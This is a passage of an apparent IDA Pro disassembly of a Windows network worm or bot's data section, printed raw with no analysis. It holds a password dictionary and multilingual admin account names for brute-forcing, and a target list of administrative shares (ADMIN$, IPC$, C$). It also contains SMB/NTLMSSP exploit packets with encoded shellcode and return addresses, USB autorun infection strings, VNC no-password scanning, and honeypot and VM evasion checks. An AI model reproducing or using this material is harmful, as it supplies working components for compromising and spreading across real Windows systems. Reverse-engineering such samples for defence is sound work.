'arsenal',0 ; DATA XREF: .text:0043CC8Co ; .text:0043CE88o ... aThomas db 'thomas',0 ; DATA XREF: .text:0043CC88o ; .text:0043CE84o ... align 4 aMaster db 'master',0 ; DATA XREF: .text:0043CC84o ; .text:0043CEC4o ... align 10h aStandard db 'Standard',0 ; DATA XREF: .text:0043CC80o ; .text:0043CE74o align 4 aHttpd db 'httpd',0 ; DATA XREF: .text:0043CC7Co align 4 aApacheServer db 'apache server',0 ; DATA XREF: .text:0043CC78o align 4 aRoot db 'root',0 ; DATA XREF: .text:0043CC74o ; .text:0043D18Co align 4 aOwner db 'owner',0 ; DATA XREF: .text:0043CC70o ; .text:0043CE7Co ... align 4 aAdmin1 db 'Admin1',0 ; DATA XREF: .text:0043CC6Co ; .text:0043CEA0o align 4 aAdmin_0 db 'ADMIN',0 ; DATA XREF: .text:0043CC68o ; .text:0043CE9Co align 4 aAdmins db 'admins',0 ; DATA XREF: .text:0043CC64o ; .text:0043CE98o align 4 aAdm db 'adm',0 ; DATA XREF: .text:0043CC60o ; .text:0043CE94o aSystem_0 db 'SYSTEM',0 ; DATA XREF: sub_41E96F+36o ; .text:0043CC5Co ... align 4 aManager db 'manager',0 ; DATA XREF: .text:0043CC58o ; .text:0043CE68o aServeur db 'serveur',0 ; DATA XREF: .text:0043CC54o aServidor db 'Servidor',0 ; DATA XREF: .text:0043CC50o ; .text:0043D1DCo align 4 aUtilizador db 'Utilizador',0 ; DATA XREF: .text:0043CC4Co ; .text:0043CE78o align 10h aServer db 'Server',0 ; DATA XREF: .text:0043CC48o ; .text:0043D1E4o align 4 aDefault_1 db 'default',0 ; DATA XREF: .text:0043CC44o ; .text:0043D08Co aDefault_0 db 'Default',0 ; DATA XREF: .text:0043CC40o ; .text:0043CE70o aXxxxxx db 'xxxxxx',0 ; DATA XREF: .text:0043CC3Co ; .text:0043CDFCo ... align 10h aContgenerale db 'Contgenerale',0 ; DATA XREF: .text:0043CC38o ; .text:0043CE6Co align 10h aAmministratore db 'Amministratore',0 ; DATA XREF: .text:0043CC34o ; .text:0043CE64o align 10h aHallintovirkai db 'Hallintovirkailijat',0 ; DATA XREF: .text:0043CC30o aVerwalter db 'Verwalter',0 ; DATA XREF: .text:0043CC2Co ; .text:0043CE5Co align 10h aRendszergazda db 'Rendszergazda',0 ; DATA XREF: .text:0043CC28o ; .text:0043CE58o align 10h aBeheerder db 'Beheerder',0 ; DATA XREF: .text:0043CC24o ; .text:0043CE54o align 4 aAdministracion db 'Administracion',0 ; DATA XREF: .text:0043CC20o ; .text:0043CE50o align 4 dword_43DD2C dd 696D6441h, 7473696Eh, 0F6746172h, 72h ; .text:0043CE4Co dword_43DD3C dd 0E8ECE4C0h, 0F2F1E8EDh, 0EEF2E0F0h, 0F0h ; .text:0043CE48o aAdministrators db 'Administrators',0 ; DATA XREF: .text:0043CC14o ; .text:0043CE34o align 4 aAdministration db 'Administration',0 ; DATA XREF: .text:0043CC10o ; .text:0043CE30o align 4 aAdministratori db 'Administratori',0 ; DATA XREF: .text:0043CC0Co ; .text:0043CE2Co align 4 aAdministratore db 'Administratore',0 ; DATA XREF: .text:0043CC08o ; .text:0043CE28o align 4 aAdministrado_0 db 'Administrador',27h,0 ; DATA XREF: .text:0043CC04o ; .text:0043CE24o align 4 aAdministratoro db 'Administratoro',0 ; DATA XREF: .text:0043CC00o ; .text:0043CE20o align 4 aAdministrada db 'Administrada',0 ; DATA XREF: .text:0043CBFCo ; .text:0043CE1Co align 4 aAdministrateur db 'Administrateur',0 ; DATA XREF: .text:0043CBF8o ; .text:0043CE18o align 4 aAdministrador db 'Administrador',0 ; DATA XREF: .text:0043CBF4o ; .text:0043CE14o align 4 aAdmin db 'Admin',0 ; DATA XREF: .text:0043CBF0o align 4 aAdministrator db 'Administrator',0 ; DATA XREF: .text:0043CBECo ; .text:0043CE10o ... align 4 aDDDDD db '%d%d%d%d%d',0 ; DATA XREF: sub_4051EF+87o align 10h aSSS_4 db '%s\%s\%s',0 ; DATA XREF: sub_4051EF+3Bo ; sub_40541D+2BDo align 4 aServicesactive db 'ServicesActive',0 ; DATA XREF: sub_4051EF+11o ; sub_421E93+18o align 4 aSSSSSSNetsched db '%s %s: -> [%s\%s, %s/%s] (NetSchedJobAdded)',0 ; DATA XREF: sub_40541D+4F7o aBlank db '(Blank)',0 ; DATA XREF: sub_40541D+453o ; sub_40541D+49Co aSSSSSSCreateds db '%s %s: -> [%s\%s, %s/%s] (CreatedService)',0 ; DATA XREF: sub_40541D+422o align 4 aDevice0 db 'device0$',0 ; DATA XREF: sub_40541D+244o align 4 aBrowser db 'BROWSER$',0 ; DATA XREF: sub_40541D+23Do align 4 aDrivec db 'drivec$',0 ; DATA XREF: sub_40541D+236o aMssql_0 db 'MSSQL$',0 ; DATA XREF: sub_40541D+22Fo align 4 aMysql_0 db 'MYSQL$',0 ; DATA XREF: sub_40541D+228o align 4 aWinnt_0 db 'WINNT$',0 ; DATA XREF: sub_40541D+221o align 4 aWindows_0 db 'WINDOWS$',0 ; DATA XREF: sub_40541D+21Ao align 10h aPipe db 'PIPE$',0 ; DATA XREF: sub_40541D+213o align 4 aPipe_0 db 'PIPE\',0 ; DATA XREF: sub_40541D+20Co align 10h aAdministrato_1 db 'ADMINISTRATOR$',0 ; DATA XREF: sub_40541D+205o align 10h aAdministrado_1 db 'ADMINISTRADOR$',0 ; DATA XREF: sub_40541D+1FEo align 10h aDDocume1Admi_0 db 'D$\DOCUME~1\ADMINI~1$',0 ; DATA XREF: sub_40541D+1F7o align 4 aCDocume1Admi_0 db 'C$\DOCUME~1\ADMINI~1$',0 ; DATA XREF: sub_40541D+1F0o align 10h aDDocume1Admini db 'D$\DOCUME~1\ADMINI~1\',0 ; DATA XREF: sub_40541D+1E9o align 4 aCDocume1Admini db 'C$\DOCUME~1\ADMINI~1\',0 ; DATA XREF: sub_40541D+1E2o align 10h aEWindowsSystem db 'E:\WINDOWS\system32$',0 ; DATA XREF: sub_40541D+1DBo align 4 aEWinntSystem32 db 'E:\WINNT\system32$',0 ; DATA XREF: sub_40541D+1D4o align 4 aDWindowsSystem db 'D:\WINDOWS\system32$',0 ; DATA XREF: sub_40541D+1CDo align 4 aDWinntSystem32 db 'D:\WINNT\system32$',0 ; DATA XREF: sub_40541D+1C6o align 4 aCWinntSystem32 db 'C:\WINNT\system32$',0 ; DATA XREF: sub_40541D+1BCo align 4 aDWindows db 'D:\WINDOWS$',0 ; DATA XREF: sub_40541D+1B5o aCWinnt db 'C:\WINNT$',0 ; DATA XREF: sub_40541D+1AEo align 4 aZ_1 db 'Z$',0 ; DATA XREF: sub_40541D+1A4o align 4 aY_0 db 'Y$',0 ; DATA XREF: sub_40541D+19Do align 4 asc_43DFDC db 'X$',0 ; DATA XREF: sub_40541D+196o align 10h aW db 'W$',0 ; DATA XREF: sub_40541D+18Fo align 4 aV db 'V$',0 ; DATA XREF: sub_40541D+188o align 4 aU_0 db 'U$',0 ; DATA XREF: sub_40541D+17Eo align 4 aT db 'T$',0 ; DATA XREF: sub_40541D+174o align 10h aR db 'R$',0 ; DATA XREF: sub_40541D+16Ao align 4 aQ_0 db 'Q$',0 ; DATA XREF: sub_40541D+160o align 4 aP_3 db 'P$',0 ; DATA XREF: sub_40541D+156o align 4 aO db 'O$',0 ; DATA XREF: sub_40541D+14Co align 10h aN_0 db 'N$',0 ; DATA XREF: sub_40541D+142o align 4 asc_43E004 db 'L$',0 ; DATA XREF: sub_40541D+12Eo align 4 aK_0 db 'K$',0 ; DATA XREF: sub_40541D+124o align 4 aJ db 'J$',0 ; DATA XREF: sub_40541D+11Ao align 10h aI_1 db 'I$',0 ; DATA XREF: sub_40541D+110o align 4 asc_43E014 db 'H$',0 ; DATA XREF: sub_40541D+106o align 4 aG db 'G$',0 ; DATA XREF: sub_40541D+FCo align 4 aF db 'F$',0 ; DATA XREF: sub_40541D+F2o align 10h aE_1 db 'E$',0 ; DATA XREF: sub_40541D+E8o align 4 aD db 'D$',0 ; DATA XREF: sub_40541D+DEo align 4 aC_0 db 'C$',0 ; DATA XREF: sub_40541D+D4o align 4 aB db 'B$',0 ; DATA XREF: sub_40541D+CAo align 10h aNetlogon db 'NETLOGON$',0 ; DATA XREF: sub_40541D+C0o align 4 aS_7 db 'S$',0 ; DATA XREF: sub_40541D+B6o align 10h aPrint db 'PRINT$',0 ; DATA XREF: sub_40541D+ACo align 4 aIpc db 'IPC$',0 ; DATA XREF: sub_40541D+A2o ; sub_4097B9+1A8o align 10h aAdmin_2 db 'ADMIN$',0 ; DATA XREF: sub_40541D+98o align 4 aCWindowsSystem db 'C:\WINDOWS\system32$',0 ; DATA XREF: sub_40541D+89o align 10h aAdministratorS db 'Administrator\\%s$',0 ; DATA XREF: sub_40541D+6Eo align 4 aSIpc db '%s\IPC$',0 ; DATA XREF: sub_4059BF+56o aS_0 db '\\%s',0 ; DATA XREF: sub_4059BF+15o ; sub_4097B9+150o ... align 8 dword_43E098 dd 0EFFFC481h, 44FFFFh, 43E148hdword_43E0A4 dd 42Ah dword_43E0A8 dd 3E8h dword_43E0AC dd 258h byte_43E0B0 db 0 ; DATA XREF: sub_405C99+1Er ; sub_405C99+342r ... byte_43E0B1 db 1 ; DATA XREF: sub_405C99:loc_405E0Ar ; sub_405C99:loc_405FF9r ... align 4 dd offset aWinxp_0 ; "WinXP" dd 2C6h, 264h, 0 dd 1 dword_43E0C8 dd 20804h ; sub_405C99+448o ... dword_43E0CC dd 158h dword_43E0D0 dd 3000005h, 10h ; sub_4066E2+3B7o dword_43E0D8 dd 2 dup(0) ; sub_4066E2+38Do dword_43E0E0 dd 200h, 1F0000h, 2 dup(0) ; sub_4066E2+3A4o dword_43E0F0 dd 30B0005h, 10h, 48h, 0 dd 16D016D0h, 0 dd 1, 10000h, 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh dd 3, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_43E13C dd 158h ; sub_4066E2:loc_406A31r aWinxp_0 db 'WinXP',0 ; DATA XREF: .text:0043E0B4o align 4 aWinnt2k db 'WinNT+2K',0 align 4 loc_43E154: ; DATA XREF: sub_405C99+36Do ; sub_4066E2+487o jmp short near ptr dword_43E158 ; --------------------------------------------------------------------------- align 4 dword_43E158 dd 0 dword_43E15C dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ; sub_4097B9+293o dword_43E170 dd 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh, 0aSPipeSrvsvc db '\\%s\pipe\srvsvc',0 ; DATA XREF: sub_405C99+12Ao ; sub_405C99+1DAo align 4 aSPipeTrkwks db '\\%s\pipe\trkwks',0 ; DATA XREF: sub_405C99+8Co align 4 aSIpc_0 db '\\%s\IPC$',0 ; DATA XREF: sub_405C99+47o ; sub_405C99+E5o ... align 4 dword_43E1B8 dd 2, 0 ; sub_4066E2+477o dword_43E1C0 dd 215h, 0 ; sub_4066E2+428o dword_43E1C8 dd 163h, 0 ; sub_4066E2+275o dword_43E1D0 dd 1, 0 ; sub_4066E2+3C2o aSPipeBrowser db '\\%s\PIPE\BROWSER',0 ; DATA XREF: sub_4066E2+ADo align 4 aSPipe db '\\%s\PIPE',0 ; DATA XREF: sub_4066E2+98o align 4 aSSSIFileS_ db '%s %s, %s: %i, File: %s.',0 ; DATA XREF: sub_406C69+BFo align 4 aSSIpS db '%s (%s) -> IP: (%s)',0 ; DATA XREF: sub_406D7F+1FBo ; sub_406D7F+22Eo ... aSSSingleIpSSDO db '%s %s single Ip: (%s) %s: (%d) open.',0 ; DATA XREF: sub_406D7F+DBo align 10h aSSSSStartSD db '%s %s%s: (%s), Start%s: (%d)',0 ; DATA XREF: sub_407281+74o align 10h aB_0 db '',0 dw 4400h aCkfdenecfdef_2 db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aEkedfeeiedca_1 db ' EKEDFEEIEDCACACACACACACACACACAAA',0 align 10h dword_43E2C0 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_4073A2+BEo dd 0FEFF0000h, 0 dd 2006200h aPcNetworkPro_1 db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWor_1 db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 2 dup(0) dword_43E350 dd 0B9000000h, 424D53FFh, 73h, 28011800h, 3 dup(0) ; DATA XREF: sub_4073A2+F7o dd 0C0750000h, 6DD70000h, 0FF0Ch, 2FFDF00h, 100h, 5B000000h dd 0 db 0 db 5Ch, 0D0h, 0 db 80h ; € db 7Eh, 0, 60h db 59h ; Y db 2 dup(6), 2Bh db 6 db 1, 2 dup(5) db 2 db 0A0h, 4Fh, 30h db 4Dh ; M db 0A0h, 0Eh, 30h db 0Ch db 6, 0Ah, 2Bh db 6 db 1, 4, 1 db 82h ; ‚ db 37h, 2 dup(2) db 0Ah db 0A2h, 3Bh, 4 a9ntlmssp_0 db '9NTLMSSP',0 db 1, 2 dup(0) db 0 db 1, 2, 8 db 0 db 9, 0, 9 db 0 db 20h, 2 dup(0) db 0 db 10h, 0, 10h db 0 db 29h, 2 dup(0) db 0 aWorkgrouplqp_0 db 'WORKGROUPlQPxf2ISQgEV1bGKWindows 2000 2195',0 aWindows20005_3 db 'Windows 2000 5.0',0 align 10h dword_43E410 dd 0D010000h, 424D53FFh, 73h, 28011800h, 3 dup(0) ; DATA XREF: sub_4073A2+147o dd 0C0750000h dword_43E430 dd 6DD72000h, 0FF0Ch, 2FFDF00h, 100h, 0AF000000h, 0 ; DATA XREF: sub_4073A2+134o dd 0D05C00h, 0A100D280h, 8130AC81h, 0A681A2A9h, 4EA38104h dd 534D4C54h, 3005053h, 18000000h, 40001800h, 18000000h dd 58001800h, 12000000h, 70001200h, 0 dd 82000000h, 20000000h, 82002000h, 0 dd 0A2000000h, 1000000h, 0ED000802h, 778839B7h, 0BE16D7h dd 3 dup(0) db 0 db 2 dup(0), 42h db 0AEh ; ® db 0B7h, 1Fh, 0BBh db 6Dh ; m db 0C1h, 84h, 99h db 1 aKXEcTijW_0 db 'k',8,'±xºeC',0Ah db 'ÓšâI†)W',0 dd offset byte_52004F dd offset byte_47004B dd offset word_4F0052 dd offset byte_500055 dd offset dword_51006C db 50h, 0, 78h db 0 db 66h, 0, 32h db 0 dd offset byte_530049 dd offset byte_670051 dd offset byte_560045 dd offset byte_620031 dd offset byte_4B0047 align 2 aWindows20002_1 db 'Windows 2000 2195',0 aWindows20005_4 db 'Windows 2000 5.0',0 align 8 dword_43E528 dd 6B000000h, 424D53FFh, 73h, 20011800h, 3 dup(0) ; DATA XREF: sub_4073A2+178o dd 0C0750000h, 6DD70000h, 0FF0Dh, 2FFDF00h, 100h, 2 dup(0) dd 40000000h, 2E000000h, 4F570000h, 52474B52h, 50554Fh aWindows20002_2 db 'Windows 2000 2195',0 aWindows20005_5 db 'Windows 2000 5.0',0 align 4 dword_43E598 dd 37000000h, 424D53FFh, 75h, 20011800h, 3 dup(0) ; DATA XREF: sub_4073A2+1C5o dd 0C0750000h dword_43E5B8 dd 6DD72001h, 0FF04h, 1000000h, 0C00h, 24435049h, 3F3F3F00h ; DATA XREF: sub_4073A2+1B5o dd 3F3Fh, 0 dword_43E5D8 dd 66000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_4073A2+22Fo dword_43E5F4 dd 4780800h dword_43E5F8 dd 400800h, 0DE00FF18h, 1000DEh, 16h, 0 dd 2019Fh, 4 dup(0) dd 1, 40h, 2, 1303h, 62005Ch, 6F0072h, 730077h, 720065h dd 2 dup(0) dword_43E648 dd 3F020000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0) ; DATA XREF: sub_4073A2+2ACo dword_43E664 dd 4780800h dword_43E668 dd 400800h, 0FF0Eh db 0 byte_43E671 db 0, 40h, 0 ; DATA XREF: sub_4073A2+299o dd 0FF000000h, 8FFFFFFh, 20000h, 3F020000h, 0 dd 5020000h, 10030B00h, 0 dd 2, 0D0000000h, 16D016h, 0B000000h, 0 dd 84000100h, 1FB33323h, 2C0E9508h, 0C32C304Ah, 1830708h dd 4000300h, 0EB8A885Dh, 9F11C91Ch, 2B0008E8h, 2604810h dd 1000000h, 0BE000100h, 54A71E0Eh, 91E02161h, 23E45A04h dd 2D082E6h, 4000300h, 0EB8A885Dh, 9F11C91Ch, 2B0008E8h dd 2604810h, 2000000h, 0E9000100h, 0E77F4FDFh, 0A54D6B2Bh dd 833CAAD4h, 0A10315h, 4000200h, 0EB8A885Dh, 9F11C91Ch dd 2B0008E8h, 2604810h, 3000000h, 0AD000100h, 19D89A50h dd 1CF35CB9h, 0AD534199h, 175601Eh, 4000000h, 0EB8A885Dh dd 9F11C91Ch, 2B0008E8h, 2604810h, 4000000h, 97000100h dd 409F7E21h, 0D7BEC99Eh, 0F1B0A4EBh, 595FE37h, 4000300h dd 0EB8A885Dh, 9F11C91Ch, 2B0008E8h, 2604810h, 5000000h dd 0FD000100h, 858B52C8h, 8B3A74CCh, 30E02915h, 216ACCDh dd 4000100h, 0EB8A885Dh, 9F11C91Ch, 2B0008E8h, 2604810h dd 6000000h, 5B000100h, 0E19ACBDEh, 1F728325h, 92A2A310h dd 7636E7h, 4000200h, 0EB8A885Dh, 9F11C91Ch, 2B0008E8h dd 2604810h, 7000000h, 74000100h, 9C0CDF4h, 0BEF37F2Dh dd 0C3573B8h, 1685206h, 4000000h, 0EB8A885Dh, 9F11C91Ch dd 2B0008E8h, 2604810h, 8000000h, 0E5000100h, 0E1EA256Ch dd 4AC21B8Ah, 29885617h, 106C3EEh, 4000200h, 0EB8A885Dh dd 9F11C91Ch, 2B0008E8h, 2604810h, 9000000h, 26000100h dd 4D7D7050h, 7BAF8288h, 0EA1D963Dh, 29A17EBh, 4000100h dd 0EB8A885Dh, 9F11C91Ch, 2B0008E8h, 2604810h, 0A000000h dd 0C8000100h, 704B324Fh, 1201D316h, 0BF475A78h, 388E16Eh dd 4000000h, 0EB8A885Dh, 9F11C91Ch, 2B0008E8h, 2604810h dd 2 dup(0) dword_43E890 dd 3B000000h, 424D53FFh, 2Eh, 20011800h, 3 dup(0) ; DATA XREF: sub_4073A2+31Do dword_43E8AC dd 4780800h dword_43E8B0 dd 400800h, 0FF0Ah db 0 byte_43E8B9 db 0, 40h, 0 ; DATA XREF: sub_4073A2+30Do dd 80000000h, 0FFBB80BBh, 0FFFFFFh, 2 dup(0) dword_43E8D0 dd 0FB020000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0) ; DATA XREF: sub_4073A2+507o dword_43E8EC dd 4780800h dword_43E8F0 dd 400800h, 0FF0Eh db 0 byte_43E8F9 db 0, 40h, 0 ; DATA XREF: sub_4073A2+37Eo dd 0FF000000h, 8FFFFFFh, 2BC00h, 3F02BC00h, 0 dd 502BC00h, 10030000h, 0BC000000h, 2, 0A4000000h, 0A000002h dd 79001F00h, 3941FA0h, 0 dd 3000000h, 59000000h, 4C00h, 31000000h, 1, 31000000h dd 5C000001h, 6E554600h, 76454C4Dh, 6A7A4E64h, 7A58746Eh dd 6376416Eh, 7644534Fh, 556C5563h, 4A464C4Ch, 4350436Dh dd 65676A6Dh, 44627058h, 74414943h, 5254446Ah, 79784150h dd 58744958h, 78446643h, 58526A76h, 79535774h, 63714341h dd 577A7250h, 55616548h, 6F72664Bh, 75456E68h, 555A7953h dd 627A507Ah, 42A94365h, 15D53846h, 0A89B2567h, 3F9747B9h dd 37B92B1h, 56696FCh, 91B68D04h, 0FD30B49Fh, 4A411D2Ch dd 3448B3B0h, 4E4FF9B8h db 0F5h byte_43E9E1 db 31h, 0C9h, 83h ; DATA XREF: sub_4073A2+393o dd 0FFE8ADE9h, 0C0FFFFFFh, 0E76815Eh, 9794BB22h, 0E2FCEE83h dd 0C07FA3F4h, 1544DD65h, 6B44D273h, 7FD1DE68h, 6B42CADAh dd 1FDBDD68h, 1F9F06FBh, 0E8301ED2h, 7BBA5A92h, 1FA36D1Ch dd 7FBA02C8h, 1F8FA9DEh, 548ACC96h, 543F8E0Eh, 5E7A25E3h dd 7F79239Ah, 0B0EF1963h, 1F5E57BFh, 7FBA06C8h, 0DFB7A9F1h dd 95A77D1Ch, 1F97217Ch, 889F4E1Eh, 4F8AE1F6h, 0A4F8A9F3h dd 1FB7621Ch, 1F163EE7h, 0FCE52AD7h, 78B56C19h, 0F26DDDC7h dd 0A7D344C4h, 0E7CC4AA5h, 6BEF7DA5h, 79704A47h, 6BEB196Bh dd 71327D41h, 9C56A3F1h, 96D17795h, 4DD3F268h, 0C316D79Eh dd 0C7E8F468h, 0D7E871C4h, 6BE861C4h, 85D34447h, 1DE844CBh dd 30D3B776h, 0C37C528Dh, 84D1F468h, 444477C6h, 0BA1686FFh dd 4244757Eh, 77C4h, 1Ah dup(0) dd 6B000000h, 44447041h, 7475CDFFh, 424471F7h, 94BBF268h dd 2E005C97h, 5C002E00h, 2E002E00h, 41005C00h, 48004F00h dd 4D004C00h, 59005800h db 0 byte_43EB61 db 0DEh, 0ADh, 0BEh ; DATA XREF: sub_4073A2+3A4o db 0EFh byte_43EB65 db 0BAh, 0DEh, 0C0h ; DATA XREF: sub_4073A2+3A9o dd 544950DEh db 48h byte_43EB6D db 0FEh, 0EDh, 0FAh ; DATA XREF: sub_4073A2+3AEo dd 4A4649CEh, 54554F55h, 57555045h, 574D584Bh, 48475558h dd 4B45494Dh, 4E455943h, 50514142h, 44455A4Ch, 424F4F4Eh dd 0BA574D47h, 0D5853DB3h, 0EB4AF81Bh, 435A4D62h, 484C5754h dd 495759h, 9A000000h, 2000001h, 0 dd 2000000h, 5C000000h, 1000000h, 10h, 2 dup(0) dword_43EBD4 dd 1F1CB0h dword_43EBD8 dd 1F1CB0h dword_43EBDC dd 20408h, 1 dword_43EBE4 dd 1001361h dword_43EBE8 dd 1001361h dword_43EBEC dd 20408h, 2 dword_43EBF4 dd 6F88F727h dword_43EBF8 dd 6F8916E2h dword_43EBFC dd 20408h, 3 dword_43EC04 dd 6F88F807h dword_43EC08 dd 6F8917C2h dword_43EC0C dd 20408h, 4 dword_43EC14 dd 100129Eh dword_43EC18 dd 100129Eh dword_43EC1C dd 20408h, 5 dword_43EC24 dd 71BF21A2h dword_43EC28 dd 71BF21A2h dword_43EC2C dd 20408h, 6 dword_43EC34 dd 71BF3969h dword_43EC38 dd 71BF3969h dword_43EC3C dd 20408h, 7, 5860F727h, 586116E2h, 20408h, 8, 58FBF727h ; DATA XREF: sub_4073A2+4D7o dd 58FC16E2h, 20408h dword_43EC60 dd 158h dword_43EC64 dd 7475615Ch, 6E75726Fh, 666E692Eh, 0aShellOpenDefau db 0Dh,0Ah ; DATA XREF: sub_4079AA+406o db 'shell\open\default=1',0 align 10h aIconSystemroot db 0Dh,0Ah ; DATA XREF: sub_4079AA+3EEo db 'icon=%SystemRoot%\system32\SHELL32.dll,4',0Dh,0Ah db 'action=Open folder to view files',0Dh,0Ah db 'shell\open=Open',0Dh,0Ah db 'shell\open\command=',0 align 4 aAutorunOpen db '[autorun]',0Dh,0Ah ; DATA XREF: sub_4079AA+3D5o db 'open=',0 align 4 a_shellclassinf db '[.ShellClassInfo]',0Dh,0Ah ; DATA XREF: sub_4079AA+2CDo db 'CLSID={645FF040-5081-101B-9F08-00AA002F954E}',0 aDesktop_ini db '\Desktop.ini',0 ; DATA XREF: sub_4079AA+296o align 4 aSDDDDDDDDDDDDD db '\S-%d-%d-%d%d-%d%d%d%d%d%d%d%d%d%d-%d%d%d%d%d%d%d%d%d%d-%d%d%d%d%' ; DATA XREF: sub_4079AA+246o db 'd%d%d%d%d-%d%d%d%d',0 aRecycler db '\RECYCLER',0 ; DATA XREF: sub_4079AA+74o align 4 aSInfectedUsbDr db '%s Infected USB drive: %s',0 ; DATA XREF: sub_407E4B+77o align 8 off_43EDE8 dd offset byte_454A54 ; DATA XREF: .text:00409645r ; .text:00409651o dd offset a123 ; "123" dd offset a1234 ; "1234" dd offset aLetmein ; "letmein" dd offset aAdmin_1 ; "admin" dd offset aAdministrator ; "Administrator" dd offset a1234567 ; "1234567" dd offset aPassword ; "password" dd offset a12345 ; "12345" dd offset a123456 ; "123456" dd offset aArsenal ; "arsenal" dd offset aMonkey ; "monkey" dd offset aCharlie ; "charlie" dd offset off_43D970 dd offset aPass_1 ; "pass" dd offset aMaster ; "master" dd offset aQwerty ; "qwerty" dd offset a12345678 ; "12345678" dd offset a654321 ; "654321" dd offset aAbc123 ; "abc123" dd offset aThomas ; "thomas" align 10h dd 66B5217h aNxSystemrootSy db '#NX',7,'%systemroot%\system32\cmd.exe',0 align 4 aExit db 'exit',0 align 10h word_43EE70 dw 1 ; DATA XREF: sub_408029+24r ; .text:004081B2r align 4 word_43EE74 dw 4 ; DATA XREF: sub_408029+10r align 4 dword_43EE78 dd 64257325h, 64256425h, 652E6425h, 6578hdword_43EE88 dd 6325h, 0 ; .text:00408ADDo ... aSSSSDSSSSSSS_0 db '%s %s %s %s %d >> %s %s %s %s %s >> %s %s %s >> %s %s %s %s >> %s' ; DATA XREF: .text:0040878Co ; .text:00408AB5o ... db ' %s %s >> %s %s%s %s %s %s',0Dh,0Ah,0 align 10h aSSSSDSSSSSSSSS db '%s %s %s %s %d >> %s %s %s %s %s >> %s %s %s %s >> %s %s %s >> %s' ; DATA XREF: .text:004086FBo ; .text:00408A13o ... db ' %s%s %s %s %s',0Dh,0Ah,0 align 4 aS_5 db '%s',0 ; DATA XREF: .text:00408584o ; sub_408B99+2C9o ... align 4 aVncD_DSNopass db 'VNC%d.%d: %s - (NoPass)',0 ; DATA XREF: .text:00408559o ; sub_408B99+29Eo aRfb03d_03d db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: .text:004083BBo ; .text:004083E9o ... align 10h word_43EF70 dw 72h ; DATA XREF: .text:004081DCr ; sub_408B99+25r ... align 4 word_43EF74 dw 63h ; DATA XREF: .text:004081CFr ; sub_408B99+3Er ... align 4 loc_43EF78: ; DATA XREF: .text:004081B9o ; sub_408B99+2Eo jmp ebx ; --------------------------------------------------------------------------- align 4 dword_43EF7C dd 0DFFh ; sub_408B99+1Ao dword_43EF80 dd 0EBFFh ; sub_408B99+Eo dword_43EF84 dd 201h dword_43EF88 dd 20424652h, 2E333030h, 0A383030h, 0aVncD_DSS db 'VNC%d.%d: %s - %s',0 ; DATA XREF: sub_408B99+797o align 10h dword_43EFB0 dd 158h dword_43EFB4 dd 0D0EC8166h, 7dword_43EFBC dd 129F74h, 0 dword_43EFC4 dd 127D78h, 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_43EFD0 proc near ; DATA XREF: sub_4097B9+D1o ; FUNCTION CHUNK AT 0043EFD6 SIZE 00000043 BYTES pusha jmp short loc_43EFD6 sub_43EFD0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_43EFD3 proc near ; CODE XREF: sub_43EFD0:loc_43EFD6p pop ebx push ebx retn sub_43EFD3 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43EFD0 loc_43EFD6: ; CODE XREF: sub_43EFD0+1j call sub_43EFD3 xor eax, eax add al, 34h add eax, ebx push eax pop ebx loc_43EFE3: ; CODE XREF: sub_43EFD0+3Cj xor edx, edx add dl, [eax] inc eax add dh, [eax] inc eax push eax xor eax, eax add al, 41h sub dl, al sub dh, al shl dl, 4 shr dx, 4 xor eax, eax xor dh, dh add al, [ebx] sub [ebx], al add [ebx], dx inc ebx pop eax xor ecx, ecx add cl, [eax] loopne loc_43EFE3 popa loc_43F00F: ; DATA XREF: sub_4097B9+B0r add [ebx+31h], al loc_43F012: ; DATA XREF: sub_4097B9+AAr mov ebp, 7FC77h loc_43F017: ; DATA XREF: sub_4097B9:loc_409AA8r ; sub_4097B9+319r ... add [ecx], al ; END OF FUNCTION CHUNK FOR sub_43EFD0 ; --------------------------------------------------------------------------- db 3 dup(0) db 43h ; --------------------------------------------------------------------------- loc_43F01D: ; CODE XREF: .text:0043F01Fj xor eax, eax ja short loc_43F01D pop es ; --------------------------------------------------------------------------- dw 0 dd 1, 77BB1F89h, 7FCh, 1, 77C01F89h, 7FCh, 1, 655B4F02h dd 7E7h dword_43F048 dd 0 ; --------------------------------------------------------------------------- sub [ecx+77h], ecx sub ecx, [ecx-1Eh] ja short near ptr byte_43F0A1 retf ; --------------------------------------------------------------------------- dw 77E3h dd 7518A747h, 77BD3143h dword_43F060 dd 158h dword_43F064 dd 6BFFD098h, 3610A112h, 0C3463398h, 5A347EF8h, 0 ; DATA XREF: sub_4097B9+255o dword_43F078 dd 65706970h, 736B775Ch, 637673haNetvalidatenam db 'NetValidateName',0 ; DATA XREF: sub_409EE2+15o aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_409EE2+Ao ; sub_417362:loc_417E6Fo byte_43F0A1 db 3 dup(0) ; CODE XREF: .text:0043F053j dword_43F0A4 dd 4000500h, 7868746Bh, 0dword_43F0B0 dd 54207325h, 20505446h, 25203E2Dh, 73h ; .text:0040A4DCo dword_43F0C0 dd 736E495Ch, 54656469h, 5C6DhaImail8_001531N db '(IMail 8.00 153-1) NT-ESMTP Server X1',0 ; DATA XREF: sub_40A662+64o align 4 aNepenthes db 'nepenthes',0 ; DATA XREF: sub_40A662+5Do align 10h aCurrentuser db 'currentuser',0 ; DATA XREF: sub_40A662+56o aVmware db 'vmware',0 ; DATA XREF: sub_40A662+4Fo align 4 aHoneymule db 'HoneyMule',0 ; DATA 